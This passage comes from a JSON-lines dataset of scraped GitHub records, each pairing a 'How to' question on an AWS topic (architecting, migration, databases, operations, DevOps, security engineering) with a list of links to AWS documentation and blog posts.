backup](https://aws.amazon.com/blogs/compute/recovering-files-from-an-amazon-ebs-volume-backup/)\n* [New – Multi-Attach for Provisioned IOPS (io1) Amazon EBS Volumes](https://aws.amazon.com/blogs/aws/new-multi-attach-for-provisioned-iops-io1-amazon-ebs-volumes/)\n* [Can I use EBS Multi-Attach volumes to enable multiple EC2 instances to simultaneously access a standard file system?](https://aws.amazon.com/premiumsupport/knowledge-center/ebs-access-volumes-using-multi-attach/)\n* [Working with Aurora Multi-Master Clusters](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/aurora-multi-master.html)\n* [Amazon Aurora Backtrack – Turn Back Time](https://aws.amazon.com/blogs/aws/amazon-aurora-backtrack-turn-back-time/)\n* [Amazon DynamoDB - Choosing Initial Throughput Settings ](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/ProvisionedThroughput.html#ProvisionedThroughput.CapacityUnits.InitialSettings)\n* [Best Practices for Designing and Architecting with DynamoDB](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/best-practices.html)\n* [Best Practices for Designing and Using Partition Keys Effectively ](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/bp-partition-key-design.html)\n* [Building resiliency at scale at Tinder with Amazon ElastiCache](https://aws.amazon.com/blogs/database/building-resiliency-at-scale-at-tinder-with-amazon-elasticache/)\n* [How to work with Cluster Mode on Amazon ElastiCache for Redis](https://aws.amazon.com/blogs/database/work-with-cluster-mode-on-amazon-elasticache-for-redis/)\n* [Comparing Redis and Memcached](https://aws.amazon.com/elasticache/redis-vs-memcached/)\n* [Common ElastiCache Use Cases and How ElastiCache Can Help](https://docs.aws.amazon.com/AmazonElastiCache/latest/red-ug/elasticache-use-cases.html)\n* [Introducing Amazon Elasticsearch Service as a target in AWS Database Migration Service](https://aws.amazon.com/blogs/database/introducing-amazon-elasticsearch-service-as-a-target-in-aws-database-migration-service/)\n* [Migration Complete – Amazon’s Consumer Business Just Turned off its Final Oracle", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647474"}
{"id": "gh_243e13a94f97", "question": "How to: Advanced Architecting on AWS", "question_body": "About brunokktro/auladobruno", "answer": "* [Getting started with tag policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_tag-policies-getting-started.html)\n* [AWS Config: Checking for Compliance with New Managed Rule Options](https://aws.amazon.com/blogs/devops/aws-config-checking-for-compliance-with-new-managed-rule-options/)\n* [AWS re:Invent 2019: Advanced VPC design and new capabilities for Amazon VPC](https://youtu.be/7acKgdDOOu4)\n* [Route 53 - Choosing between alias and non-alias records](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/resource-record-sets-choosing-alias-non-alias.html)\n* [New – Application Load Balancing via IP Address to AWS & On-Premises Resources](https://aws.amazon.com/blogs/aws/new-application-load-balancing-via-ip-address-to-aws-on-premises-resources/)\n* [Amazon VPC for On-Premises Network Engineers – Part 1](https://aws.amazon.com/blogs/apn/amazon-vpc-for-on-premises-network-engineers-part-one/)\n* [Amazon VPC for On-Premises Network Engineers – Part 2](https://aws.amazon.com/blogs/apn/amazon-vpc-for-on-premises-network-engineers-part-two/)\n* [How do I increase my security group limits in Amazon VPC?](https://aws.amazon.com/premiumsupport/knowledge-center/increase-security-group-rule-limit/)\n* [Simplify network routing and security administration with VPC Prefix Lists](https://aws.amazon.com/blogs/networking-and-content-delivery/simplify-network-routing-and-security-administration-with-vpc-prefix-lists/)\n* [Overlay Multicast in Amazon Virtual Private Cloud](https://aws.amazon.com/articles/overlay-multicast-in-amazon-virtual-private-cloud/)\n* [How to run Schneider Electric’s Responder OMS using AWS Transit Gateway multicast](https://aws.amazon.com/blogs/publicsector/how-to-run-schneider-electrics-responder-oms-using-aws-transit-gateway-multicast/)\n* [Connecting Networks with Overlapping IP Ranges](https://aws.amazon.com/pt/blogs/networking-and-content-delivery/connecting-networks-with-overlapping-ip-ranges/)\n* [Transit Gateway vs VPC peering](https://docs.aws.amazon.com/whitepapers/latest/building-scalable-secure-multi-vpc-network-infrastructure/transit-gateway-vs-vpc-peering.html)\n* [Building a global network using AWS Transit Gateway Inter-Region peering](https://aws.amazon.com/blogs/networking-and-content-delivery/building-a-global-network-using-aws-transit-gateway-inter-region-peering/)\n* [Simplify SD-WAN connectivity with AWS Transit Gateway Connect](https://aws.amazon.com/blogs/networking-and-content-delivery/simplify-sd-wan-connectivity-with-aws-transit-gateway-connect/)\n* [Building a Scalable and Secure Multi-VPC AWS Network Infrastructure](https://docs.aws.amazon.com/whitepapers/latest/building-scalable-secure-multi-vpc-network-infrastructure/introduction.html)\n* [Introducing Bring Your Own IP (BYOIP) for Amazon VPC](https://aws.amazon.com/blogs/networking-and-content-delivery/introducing-bring-your-own-ip-byoip-for-amazon-vpc/)\n* [Configurable Reverse DNS for Amazon EC2’s Elastic IP Addresses](https://aws.amazon.com/blogs/aws/reverse-dns-for-ec2s-elastic-ip-addresses/)\n* [How can I set up Active-Passive failover with geolocation records in Route 53?](https://aws.amazon.com/premiumsupport/knowledge-center/route-53-active-passive-failover/)\n* [Using redundant Site-to-Site VPN connections to provide failover](https://docs.aws.amazon.com/vpn/latest/s2svpn/vpn-redundant-connection.html)\n* [Scaling VPN throughput using AWS Transit Gateway](https://aws.amazon.com/blogs/networking-and-content-delivery/scaling-vpn-throughput-using-aws-transit-gateway/)\n* [How do I create a certificate-based VPN using AWS Site-to-Site VPN?](https://aws.amazon.com/premiumsupport/knowledge-center/vpn-certificate-based-site-to-site/#)\n* [Configurando uma conexão VPN site a site entre a AWS e o Azure](https://aws.amazon.com/pt/blogs/aws-brasil/configurando-uma-conexao-vpn-site-a-site-entre-a-aws-e-o-azure/)\n* [Improve VPN Network Performance of AWS Hybrid Cloud with Global Accelerator](https://aws.amazon.com/blogs/architecture/improve-vpn-network-performance-of-aws-hybrid-cloud-with-global-accelerator/)\n* [Configure and Deploy AWS PrivateLink](https://www.aws.training/Details/eLearning?id=54077)\n* [AWS PrivateLink Update – VPC Endpoints for Your Own Applications & Services](https://aws.amazon.com/blogs/aws/aws-privatelink-update-vpc-endpoints-for-your-own-applications-services/)\n* [Integrating AWS Transit Gateway with AWS PrivateLink and Amazon Route 53 Resolver](https://aws.amazon.com/blogs/networking-and-content-delivery/integrating-aws-transit-gateway-with-aws-privatelink-and-amazon-route-53-resolver/)\n* [Interface endpoint properties and limitations (PrivateLink Limitations)](https://docs.aws.amazon.com/vpc/latest/privatelink/vpce-interface.html#vpce-interface-limitations)\n* [How can I use AWS RAM to share Route 53 Resolver rules across multiple VPCs and AWS accounts?](https://aws.amazon.com/premiumsupport/knowledge-center/route-53-share-resolver-rules-with-ram/)\n* [Centralized DNS managem", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647537"}
{"id": "gh_1441153d3ab0", "question": "How to: Migrating to AWS", "question_body": "About brunokktro/auladobruno", "answer": "* [AWS Ramp-Up Guide: Migration](https://d1.awsstatic.com/training-and-certification/ramp-up_guides/Ramp-Up_Guide_Migration.pdf)\n* [AWS Foundations: Strategies and Tools to Perform Large-Scale Migrations (Portuguese)](https://www.aws.training/Details/Video?id=73813)\n* [Using a Cloud Center of Excellence (CCOE) to Transform the Entire Enterprise](https://aws.amazon.com/blogs/enterprise-strategy/using-a-cloud-center-of-excellence-ccoe-to-transform-the-entire-enterprise/)\n* [How to Create a Cloud Center of Excellence in Your Enterprise](https://aws.amazon.com/blogs/enterprise-strategy/how-to-create-a-cloud-center-of-excellence-in-your-enterprise/)\n* [The Journey Toward Cloud-First & the Stages of Adoption](https://aws.amazon.com/blogs/enterprise-strategy/the-journey-toward-cloud-first-the-stages-of-adoption/)\n* [Cloud Enablement Engine: A Practical Guide](https://d1.awsstatic.com/whitepapers/cloud-enablement-engine-practical-guide.pdf)\n* [Mobilize your organization to accelerate large-scale migrations](https://docs.aws.amazon.com/prescriptive-guidance/latest/strategy-migration/welcome.html)\n* [4 Dos and Don’ts When Using the Cloud to Experiment](https://aws.amazon.com/blogs/enterprise-strategy/4-dos-and-donts-when-using-the-cloud-to-experiment/)\n* [AWS Cloud Adoption Framework (CAF) 3.0 is Now Available](https://aws.amazon.com/blogs/aws/aws-cloud-adoption-framework-caf-3-0-is-now-available/)\n* [Yes, You Can Migrate Your Mainframe to the Cloud](https://aws.amazon.com/pt/blogs/enterprise-strategy/yes-you-can-migrate-your-mainframe-to-the-cloud/)\n* [Migrating AS/400 and IBM i Applications to AWS with Infinite](https://aws.amazon.com/pt/blogs/industries/migrating-as-400-and-ibm-i-applications-to-aws-with-infinite/)\n* [Migration governance](https://docs.aws.amazon.com/prescriptive-guidance/latest/strategy-migration/migration-governance.html)\n* [Organizing Your AWS Environment Using Multiple Accounts](https://docs.aws.amazon.com/whitepapers/latest/organizing-your-aws-environment/organizing-your-aws-environment.html)\n* [What is a landing zone?](https://docs.aws.amazon.com/prescriptive-guidance/latest/migration-aws-environment/understanding-landing-zones.html)\n* [Customizations for AWS Control Tower](https://aws.amazon.com/solutions/implementations/customizations-for-aws-control-tower/)\n* [Control AWS resources available to your users using AWS Service Catalog](https://aws.amazon.com/blogs/mt/control-aws-resources-available-to-your-users-using-aws-service-catalog/)\n* [Security, risk, and compliance](https://docs.aws.amazon.com/prescriptive-guidance/latest/strategy-migration/security-risk-and-compliance.html)\n* [Migration Evaluator: Agentless Collector Installation Walkthrough](https://youtu.be/Ez5n6I7NOo4)\n* [TSO Logic: Software Demo](https://youtu.be/z6IshDJgWRQ)\n* [Migration Hub Import](https://docs.aws.amazon.com/application-discovery/latest/userguide/discovery-import.html)\n* [Amazon EC2 instance recommendations](https://docs.aws.amazon.com/migrationhub/latest/ug/ec2-recommendations.html)\n* [Assessing Migration Readiness](https://docs.aws.amazon.com/whitepapers/latest/aws-migration-whitepaper/assessing-migration-readiness.html)\n* [Perform Discovery and Then Migrate](https://docs.aws.amazon.com/migrationhub/latest/ug/gs-new-user-discovery.html)\n* [Migrate applications using AWS SMS](https://docs.aws.amazon.com/server-migration-service/latest/userguide/application-migration.html)\n* [Migrating Azure VM to AWS using AWS SMS Connector for Azure](https://aws.amazon.com/blogs/compute/migrating-azure-vm-to-aws-using-aws-sms-connector-for-azure/)\n* [Containerizing a Java application on Linux](https://docs.aws.amazon.com/app2container/latest/UserGuide/start-containerize-java-app.html)\n* [Importing a disk as a snapshot using  VM Import/Export](https://docs.aws.amazon.com/vm-import/latest/userguide/vmimport-import-snapshot.html)\n* [How to Use the New AWS Application Migration Service for Lift-and-Shift Migrations](https://aws.amazon.com/pt/blogs/aws/how-to-use-the-new-aws-application-migration-service-for-lift-and-shift-migrations/)\n* [Avoid affecting your production environment during migration with AWS Application Migration Service](https://aws.amazon.com/pt/blogs/architecture/avoid-affecting-your-production-environment-during-migration-with-aws-application-migration-service/)\n* [Account and VPC Considerations for VMware Cloud on AWS](https://aws.amazon.com/pt/blogs/apn/account-and-vpc-considerations-for-vmware-cloud-on-aws/)\n* [VMware Cloud on AWS - Network Design Fundamentals](https://docs.vmware.com/en/VMware-Validated-Design/services/sddc-extending-to-vmware-cloud-on-aws/GUID-69150A86-54F7-43EB-A171-C8BBFC04FF0E.html)\n* [VMware Cloud on AWS - NSX-T Networking Concepts](https://docs.vmware.com/en/VMware-Cloud-on-AWS/services/com.vmware.vmc-aws.networking-security/GUID-658253DB-F384-4040-94B2-DF2AC3C9D396.html)\n* [VMware Cloud on AWS: Advanced Networking and Security with NSX-T SDDC](https://blogs.vmware.com/networkvirtual", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647561"}
{"id": "gh_ca604cd2bcf4", "question": "How to: Planning and Designing Databases on AWS", "question_body": "About brunokktro/auladobruno", "answer": "* [Learning Path - Databases](https://aws.amazon.com/training/path-databases/)\n* [Six free courses for building modern apps with purpose-built databases](https://aws.amazon.com/blogs/training-and-certification/six-free-courses-for-building-modern-apps-with-purpose-built-databases/)\n* [Hands-On Tutorials - Move to managed databases](https://aws.amazon.com/getting-started/hands-on/move-to-managed/)\n* [Databases on AWS: The Right Tool for the Right Job](https://blogdolopez.files.wordpress.com/2020/11/sql_saturday_-_databases_on_aws_-_the_right_tool_for_the_right_job-1.pdf)\n* [Amazon RDS Multi-AZ Deployments](https://aws.amazon.com/rds/features/multi-az/)\n* [Amazon RDS Read Replicas](https://aws.amazon.com/rds/features/read-replicas/)\n* [How can I distribute read requests across multiple Amazon RDS read replicas?](https://aws.amazon.com/premiumsupport/knowledge-center/requests-rds-read-replicas/)\n* [How can I perform write operations to my Amazon RDS for MariaDB or MySQL DB instance read replica?](https://aws.amazon.com/premiumsupport/knowledge-center/rds-read-replica/)\n* [Implementing a disaster recovery strategy with Amazon RDS](https://aws.amazon.com/blogs/database/implementing-a-disaster-recovery-strategy-with-amazon-rds/)\n* [Best storage practices for running production workloads on hosted databases with Amazon RDS or Amazon EC2](https://aws.amazon.com/blogs/database/best-storage-practices-for-running-production-workloads-on-hosted-databases-with-amazon-rds-or-amazon-ec2/)\n* [Applying best practices for securing sensitive data in Amazon RDS](https://aws.amazon.com/blogs/database/applying-best-practices-for-securing-sensitive-data-in-amazon-rds/)\n* [Securing data in Amazon RDS using AWS KMS encryption](https://aws.amazon.com/blogs/database/securing-data-in-amazon-rds-using-aws-kms-encryption/)\n* [Sharding with Amazon Relational Database Service](https://aws.amazon.com/blogs/database/sharding-with-amazon-relational-database-service/)\n* [Scaling Your Amazon RDS Instance Vertically and Horizontally](https://aws.amazon.com/blogs/database/scaling-your-amazon-rds-instance-vertically-and-horizontally/)\n* [Using AWS Cost Management products to help save costs on Amazon RDS Reserved Instances](https://aws.amazon.com/blogs/database/using-aws-cost-management-products-to-help-save-costs-on-amazon-rds-reserved-instances/)\n* [IAM database authentication for MySQL and PostgreSQL](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.html)\n* [Sharing a DB snapshot](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_ShareSnapshot.html)\n* [Backing up and restoring an Amazon RDS DB instance](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_CommonTasks.BackupRestore.html)\n* [Amazon RDS Under the Hood: Single-AZ instance recovery](https://aws.amazon.com/blogs/database/amazon-rds-under-the-hood-single-az-instance-recovery/)\n* [Amazon RDS Under the Hood: Multi-AZ](https://aws.amazon.com/blogs/database/amazon-rds-under-the-hood-multi-az/)\n* [Monitoring an Amazon RDS DB instance](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Monitoring.html)\n* [Enhanced Monitoring](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_Monitoring.OS.html)\n* [Using Amazon RDS event notification](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_Events.html)\n* [Amazon RDS database log files](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_LogAccess.html)\n* [How do I enable and monitor logs for an Amazon RDS MySQL DB instance?](https://aws.amazon.com/premiumsupport/knowledge-center/rds-mysql-logs/)\n* [Architecting for database encryption on AWS](https://aws.amazon.com/blogs/security/architecting-for-database-encryption-on-aws/)\n* [Migrate TDE-enabled SQL Server databases to Amazon RDS for SQL Server](https://aws.amazon.com/blogs/database/migrate-tde-enabled-sql-server-databases-to-amazon-rds-for-sql-server/)\n* [Securing data in Amazon RDS using AWS KMS encryption](https://aws.amazon.com/blogs/database/securing-data-in-amazon-rds-using-aws-kms-encryption/)\n* [Troubleshooting for Amazon RDS](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/CHAP_Troubleshooting.html)\n* [Monitoring with the Performance Insights dashboard](https://docs.aws.amazon.com/AmazonRDS/latest/AuroraUserGuide/USER_PerfInsights.UsingDashboard.html)\n* [Best storage practices for running production workloads on hosted databases with Amazon RDS or Amazon EC2](https://aws.amazon.com/blogs/database/best-storage-practices-for-running-production-workloads-on-hosted-databases-with-amazon-rds-or-amazon-ec2/)\n* [Multi-AZ deployments for Amazon RDS for Microsoft SQL Server](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_SQLServerMultiAZ.html)\n* [Multi-region SQL Server deployment using distributed availability groups](https://aws.amazon.com/blogs/database/multi-region-sql-server-deployment-using-distributed-availability-groups/)\n* [Amazon DynamoDB global tables](https://aws.amazon.com/dynamod", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647636"}
{"id": "gh_ebfc4350feea", "question": "How to: Systems Operations on AWS", "question_body": "About brunokktro/auladobruno", "answer": "* [AWS Command Line Interface](https://aws.amazon.com/cli/)\n* [AWS CLI - Command completion](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-completion.html)\n* [AWS CLI v2 is now generally available](https://aws.amazon.com/blogs/developer/aws-cli-v2-is-now-generally-available/)\n* [AWS CLI - Configuration and credential file settings](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-config-cli_auto_prompt)\n* [AWS Tools for PowerShell](https://aws.amazon.com/powershell/)\n* [Using the AWS Tools for Windows PowerShell](https://docs.aws.amazon.com/powershell/latest/userguide/pstools-using.html)\n* [AWS Tools for PowerShell Cmdlet Reference](https://docs.aws.amazon.com/powershell/latest/reference/index.html)\n* [Building a Virtual Classroom Application using the Amazon Chime SDK](https://aws.amazon.com/blogs/business-productivity/building-a-virtual-classroom-application-using-the-amazon-chime-sdk/)\n* [Use EC2Rescue for Windows Server GUI](https://docs.aws.amazon.com/AWSEC2/latest/WindowsGuide/ec2rw-gui.html)\n* [How can I execute user data to automatically create a file with every restart of my Amazon EC2 instance?](https://aws.amazon.com/premiumsupport/knowledge-center/execute-user-data-ec2/)\n* [Logging Windows Amazon EC2 UserData activity in Amazon CloudWatch](https://aws.amazon.com/blogs/infrastructure-and-automation/logging-windows-amazon-ec2-userdata-activity-in-amazon-cloudwatch/)\n* [How can I connect to my Amazon EC2 instance if I lost my SSH key pair after its initial launch?](https://aws.amazon.com/premiumsupport/knowledge-center/user-data-replace-key-pair-ec2/)\n* [How do I install AWS Systems Manager Agent (SSM Agent) on an Amazon EC2 Linux instance at launch?](https://aws.amazon.com/premiumsupport/knowledge-center/install-ssm-agent-ec2-linux/)\n* [Running Ansible Playbooks using EC2 Systems Manager Run Command and State Manager](https://aws.amazon.com/blogs/mt/running-ansible-playbooks-using-ec2-systems-manager-run-command-and-state-manager/)\n* [Query for the latest Amazon Linux AMI IDs using AWS Systems Manager Parameter Store](https://aws.amazon.com/blogs/compute/query-for-the-latest-amazon-linux-ami-ids-using-aws-systems-manager-parameter-store/)\n* [Query for the Latest Windows AMI Using Systems Manager Parameter Store](https://aws.amazon.com/blogs/mt/query-for-the-latest-windows-ami-using-systems-manager-parameter-store/)\n* [New – Query for AWS Regions, Endpoints, and More Using AWS Systems Manager Parameter Store](https://aws.amazon.com/blogs/aws/new-query-for-aws-regions-endpoints-and-more-using-aws-systems-manager-parameter-store/)\n* [How AWS Systems Manager Parameter Store uses AWS KMS](https://docs.aws.amazon.com/kms/latest/developerguide/services-parameter-store.html)\n* [The Right Way to Store Secrets using Parameter Store](https://aws.amazon.com/blogs/mt/the-right-way-to-store-secrets-using-parameter-store/)\n* [Use Parameter Store to Securely Access Secrets and Config Data in AWS CodeDeploy](https://aws.amazon.com/blogs/mt/use-parameter-store-to-securely-access-secrets-and-config-data-in-aws-codedeploy/)\n* [Rotating Your AWS Secrets Manager Secrets](https://docs.aws.amazon.com/secretsmanager/latest/userguide/rotating-secrets.html)\n* [How to create and retrieve secrets managed in AWS Secrets Manager using AWS CloudFormation templates](https://aws.amazon.com/blogs/security/how-to-create-and-retrieve-secrets-managed-in-aws-secrets-manager-using-aws-cloudformation-template/)\n* [Patching your Windows EC2 instances using AWS Systems Manager Patch Manager](https://aws.amazon.com/blogs/mt/patching-your-windows-ec2-instances-using-aws-systems-manager-patch-manager/)\n* [How to patch Windows EC2 instances in private subnets Using AWS Systems Manager](https://aws.amazon.com/blogs/mt/how-to-patch-windows-ec2-instances-in-private-subnets-using-aws-systems-manager/)\n* [How Moody’s uses AWS Systems Manager to patch servers across multiple cloud providers](https://aws.amazon.com/blogs/mt/how-moodys-uses-aws-systems-manager-to-patch-servers-across-multiple-cloud-providers/)\n* [Windows Server Update Services on AWS](https://aws.amazon.com/quickstart/architecture/windows-server-update-services/)\n* [How do I install .NET Framework 3.5 on an EC2 Windows instance that doesn't have internet access?](https://aws.amazon.com/premiumsupport/knowledge-center/net-framework-windows/)\n* [How patches are installed - AWS Systems Manager](https://docs.aws.amazon.com/systems-manager/latest/userguide/patch-manager-how-it-works-installation.html)\n* [How do I enable the EPEL repository for my Amazon EC2 instance running CentOS, RHEL, or Amazon Linux?](https://aws.amazon.com/premiumsupport/knowledge-center/ec2-enable-epel/)\n* [Packaging to Distribution – Using AWS Systems Manager Distributor to deploy Datadog](https://aws.amazon.com/blogs/mt/packaging-to-distribution-using-aws-systems-manager-distributor-to-deploy-datadog/)\n* [Taking Advantage of Amazon EC2 Spot Instance Interruption Notices", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647688"}
{"id": "gh_088b9d4bab95", "question": "How to: DevOps Engineering on AWS", "question_body": "About brunokktro/auladobruno", "answer": "* [Introduction to DevOps on AWS](http://d0.awsstatic.com/whitepapers/AWS_DevOps.pdf)\n* [DevOps and AWS (Case Studies)](https://aws.amazon.com/devops/)\n* [What Team Structure is Right for DevOps to Flourish?](https://web.devopstopologies.com/#)\n* [What is Continuous Delivery?](https://aws.amazon.com/devops/continuous-delivery/)\n* [What is Continuous Integration?](https://aws.amazon.com/devops/continuous-integration/)\n* [Configuration Drift: Phoenix Server vs Snowflake Server Comic](https://www.digitalocean.com/community/tutorials/configuration-drift-phoenix-server-vs-snowflake-server-comic)\n* [Walkthrough: Refer to resource outputs in another AWS CloudFormation stack](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/walkthrough-crossstackref.html)\n* [AWS CloudFormation Sample templates](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/conditions-sample-templates.html)\n* [AWS CloudFormation best practices](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/best-practices.html)\n* [CloudFormation helper scripts reference](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/cfn-helper-scripts-reference.html)\n* [Integrating AWS CloudFormation Guard into CI/CD pipelines](https://aws.amazon.com/blogs/devops/integrating-aws-cloudformation-guard/)\n* [Introducing AWS CloudFormation Guard 2.0](https://aws.amazon.com/blogs/mt/introducing-aws-cloudformation-guard-2-0/)\n* [Using OPA to create AWS Config rules](https://aws.amazon.com/blogs/mt/using-opa-to-create-aws-config-rules/)\n* [CloudFormation Update – CLI + Third-Party Resource Support + Registry](https://aws.amazon.com/blogs/aws/cloudformation-update-cli-third-party-resource-support-registry/)\n* [Infrastructure as Code](https://d1.awsstatic.com/whitepapers/DevOps/infrastructure-as-code.pdf?trk=wp_card)\n* [AWS CDK examples](https://docs.aws.amazon.com/cdk/latest/guide/about_examples.html)\n* [CDK Pipelines: Continuous delivery for AWS CDK applications](https://aws.amazon.com/blogs/developer/cdk-pipelines-continuous-delivery-for-aws-cdk-applications/)\n* [AWS CLI - Command completion](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-completion.html)\n* [Error retries and exponential backoff in AWS](https://docs.aws.amazon.com/general/latest/gr/api-retries.html)\n* [AWS SAM resource and property reference](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/sam-specification-resources-and-properties.html)\n* [Practicing Continuous Integration and Continuous Delivery on AWS](https://d0.awsstatic.com/whitepapers/DevOps/practicing-continuous-integration-continuous-delivery-on-AWS.pdf)\n* [Using Federated Identities with AWS CodeCommit](https://aws.amazon.com/blogs/devops/using-federated-identities-with-aws-codecommit/)\n* [Migrate a repository incrementally](https://docs.aws.amazon.com/codecommit/latest/userguide/how-to-push-large-repositories.html)\n* [Working with repositories in AWS CodeCommit](https://docs.aws.amazon.com/codecommit/latest/userguide/repositories.html)\n* [Integrate GitHub monorepo with AWS CodePipeline to run project-specific CI/CD pipelines](https://aws.amazon.com/blogs/devops/integrate-github-monorepo-with-aws-codepipeline-to-run-project-specific-ci-cd-pipelines/)\n* [Validating AWS CodeCommit Pull Requests with AWS CodeBuild and AWS Lambda](https://aws.amazon.com/blogs/devops/validating-aws-codecommit-pull-requests-with-aws-codebuild-and-aws-lambda/)\n* [Tutorial: Create a simple pipeline (CodeCommit repository)](https://docs.aws.amazon.com/codepipeline/latest/userguide/tutorials-simple-codecommit.html)\n* [Multi-branch CodePipeline strategy with event-driven architecture](https://aws.amazon.com/blogs/devops/multi-branch-codepipeline-strategy-with-event-driven-architecture/)\n* [Building a Cross-account CI/CD Pipeline](https://cross-account-cicd-pipeline.workshop.aws/)\n* [Building a CI/CD pipeline for cross-account deployment of an AWS Lambda API with the Serverless Framework](https://aws.amazon.com/blogs/devops/building-a-ci-cd-pipeline-for-cross-account-deployment-of-an-aws-lambda-api-with-the-serverless-framework/)\n* [Amazon CodeGuru features](https://aws.amazon.com/codeguru/features/)\n* [New- Amazon DevOps Guru Helps Identify Application Errors and Fixes](https://aws.amazon.com/blogs/aws/amazon-devops-guru-machine-learning-powered-service-identifies-application-errors-and-fixes/)\n* [Software Package Management with AWS CodeArtifact](https://aws.amazon.com/blogs/aws/software-package-management-with-aws-codeartifact/)\n* [Test Reports with AWS CodeBuild](https://aws.amazon.com/blogs/devops/test-reports-with-aws-codebuild/)\n* [AWS Elastic Beanstalk sample for CodeBuild](https://docs.aws.amazon.com/codebuild/latest/userguide/sample-elastic-beanstalk.html)\n* [Setting up a CI/CD pipeline by integrating Jenkins with AWS CodeBuild and AWS CodeDeploy](https://aws.amazon.com/blogs/devops/setting-up-a-ci-cd-pipeline-by-integrating-jenkins-with-aws-codebuild-and-aws-codedeploy/)", "tags": ["brunokktro"], "source": "github_gists", "category": "brunokktro", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 323, "answer_score": 10, "has_code": false, "url": "https://github.com/brunokktro/auladobruno", "collected_at": "2026-01-17T12:57:02.647749"}
{"id": "gh_d2041fd57941", "question": "How to: Security Engineering on AWS", "question_body": "About brunokktro/auladobruno", "answer": "* [AWS Security Checklist](https://d1.awsstatic.com/whitepapers/Security/AWS_Security_Checklist.pdf)\n* [AWS Security Reference Architecture (AWS SRA)](https://docs.aws.amazon.com/prescriptive-guidance/latest/security-reference-architecture/welcome.html)\n* [AWS Privacy Reference Architecture](https://docs.aws.amazon.com/prescriptive-guidance/latest/privacy-reference-architecture/aws-privacy-reference-architecture.html)\n* [AWS Startup Security Baseline (AWS SSB)](https://docs.aws.amazon.com/prescriptive-guidance/latest/aws-startup-security-baseline/controls-acct.html)\n* [Privacy Features of AWS Services](https://aws.amazon.com/compliance/privacy-features/)\n* [Shared Responsibility Model](https://aws.amazon.com/compliance/shared-responsibility-model/)\n* [AWS Cloud Adoption Framework (CAF) - Security Perspective](https://d1.awsstatic.com/whitepapers/AWS_CAF_Security_Perspective.pdf)\n* [Navegando na conformidade com a LGPD na AWS](https://d1.awsstatic.com/whitepapers/pt_BR/compliance/LGPD_Compliance_on_AWS.pdf)\n* [NIST Cybersecurity Framework (CSF) - Aligning to the NIST CSF in the AWS Cloud](https://d0.awsstatic.com/whitepapers/compliance/NIST_Cybersecurity_Framework_CSF.pdf)\n* [AWS Services in Scope by Compliance Program](https://aws.amazon.com/compliance/services-in-scope/)\n* [PCI Compliance on AWS](https://aws.amazon.com/compliance/pci-dss-level-1-faqs/)\n* [AWS Security Incident Response Guide](https://d1.awsstatic.com/whitepapers/aws_security_incident_response.pdf)\n* [How to approach threat modeling](https://aws.amazon.com/blogs/security/how-to-approach-threat-modeling/)\n* [Provable Security - Automated Reasoning](https://aws.amazon.com/security/provable-security/)\n* [AWS IP Address Ranges](https://docs.aws.amazon.com/general/latest/gr/aws-ip-ranges.html)\n* [IAM Best Practices](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html)\n* [Limitations on IAM Entities and Objects](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-limits.html)\n* [IAM JSON Policy Elements Reference](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements.html)\n* [IAM Policy Elements: Variables and Tags](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_variables.html)\n* [IAM: Policies and Permissions](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html)\n* [How to define least-privileged permissions for actions called by AWS services](https://aws.amazon.com/blogs/security/how-to-define-least-privileged-permissions-for-actions-called-by-aws-services/)\n* [Create fine-grained session permissions using IAM managed policies](https://aws.amazon.com/blogs/security/create-fine-grained-session-permissions-using-iam-managed-policies/)\n* [Permissions Boundaries for IAM Entities ](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html?icmpid=docs_iam_console)\n* [How can I use permissions boundaries to limit the scope of IAM users and roles and prevent privilege 